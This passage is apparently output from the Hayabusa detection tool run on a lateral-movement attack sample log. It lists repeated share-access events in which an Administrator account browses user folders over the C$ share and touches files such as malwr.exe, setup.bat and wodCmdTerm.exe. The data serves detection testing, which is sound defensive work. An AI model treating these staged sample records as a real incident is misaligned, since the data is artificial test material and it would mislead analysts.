10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.629 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.639 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.649 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user03\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.659 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.669 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.679 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:26.981 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:26.981 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.061 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.071 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.081 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: ui\SwDRM.dll : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.081 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.488 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.548 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.548 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Default\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:47.721 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:47.721 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:56.403 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:56.414 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\AppData : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:58.386 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.105 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Fonts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Media\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.630 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.700 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.913 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\setup.bat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.913 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\setup.bat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.923 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.933 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 